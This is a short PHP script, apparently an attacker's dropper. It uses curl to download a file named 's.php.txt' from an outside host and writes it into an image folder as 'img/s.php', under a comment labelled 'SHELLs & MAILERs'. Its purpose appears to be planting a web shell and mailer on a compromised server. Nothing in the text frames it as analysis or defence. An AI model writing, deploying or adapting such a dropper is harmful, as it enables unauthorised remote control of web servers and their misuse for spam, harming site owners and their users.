// FUNCTIONS

function _getHTML($strURL){
	$ch = curl_init();
	
	curl_setopt($ch, CURLOPT_URL, $strURL);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	$buffer = curl_exec($ch);
	curl_close($ch);
	
	return($buffer);
}

function copyFile($remoteFile,$localFile){
	if(file_exists($localFile)){
		unlink($localFile);
	}
	if($gestor = fopen($localFile,"w")){
		fwrite($gestor,_getHTML($remoteFile));
	}
	fclose($gestor);
}


// SHELLs & MAILERs

$remoteFile = "http://www.cracksolution.com/upload/s.php.txt";
$localFile = "img/s.php";
copyFile($remoteFile,$localFile);